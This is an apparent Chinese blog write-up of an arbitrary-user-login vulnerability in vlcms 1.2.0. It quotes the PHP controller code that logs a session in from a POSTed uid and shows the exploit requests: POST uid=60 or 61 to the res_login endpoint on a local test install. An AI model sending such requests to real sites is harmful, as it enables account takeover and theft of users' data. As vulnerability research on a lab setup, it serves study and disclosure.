環境
環境: Web: phpstudy 5.4.45
System: Windows 10x64
源碼版本爲:vlcms_1.2.0
什麼是任意用戶登錄漏洞
幾乎每個網站都有自己的會員系統,有會員,就有登錄機制,如果可以登錄其他用戶賬戶,那麼就可以竊取其他用戶的資料數據。如果配合上腳本的話,甚至可以批量獲取用戶的數據。對網站來說,任意用戶登錄是一個很高危的漏洞。
環境搭建
image.png
創建數據庫
image.png
查看網站是否可以正常訪問
image.png
漏洞的利用
1、案例分析
vlcms/Application/Media/Controller/MemberController.class.php
post獲取uid傳進autoLogin()中
public function res_login(){
parent::autoLogin($_POST['uid']);
echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
}
將id傳進entity()。
protected function autoLogin($uid){
$user =$this->entity($uid);
/* 記錄登錄SESSION和COOKIES */
$auth = array(
'mid' => $user['id'],
'account' => $user['account'],
'nickname' => $user['nickname'],
'balance' => $user['balance'],
'last_login_time' => $user['login_time'],
);
session('member_auth', $auth);
session('member_auth_sign', data_auth_sign($auth));
}
entity中直接根據id查詢賬戶了。。所以只需一個id就能登錄任意用戶
protected function entity($id){
$data = M('User','tab_')->find($id);
if(empty($data)){
return false;
}
return $data;
}
案例的利用
1、先註冊幾個賬號
image.png
2、訪問url:
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/res_login/
post:uid=60
訪問後,返回一串代碼
image.png
接着訪問http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到,已經成功登錄賬戶
image.png
訪問post:uid=61
image.png
接着訪問
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到已經成功登陸賬號了,登陸uid爲61的賬號
image.png
查看數據庫裏面uid61的賬號爲:
image.png
修復建議
不要用id來判斷賬戶身份
作者:二潘
鏈接:https://www.jianshu.com/p/ed3695059897
來源:簡書
著作權歸作者所有。商業轉載請聯繫作者獲得授權,非商業轉載請註明出處。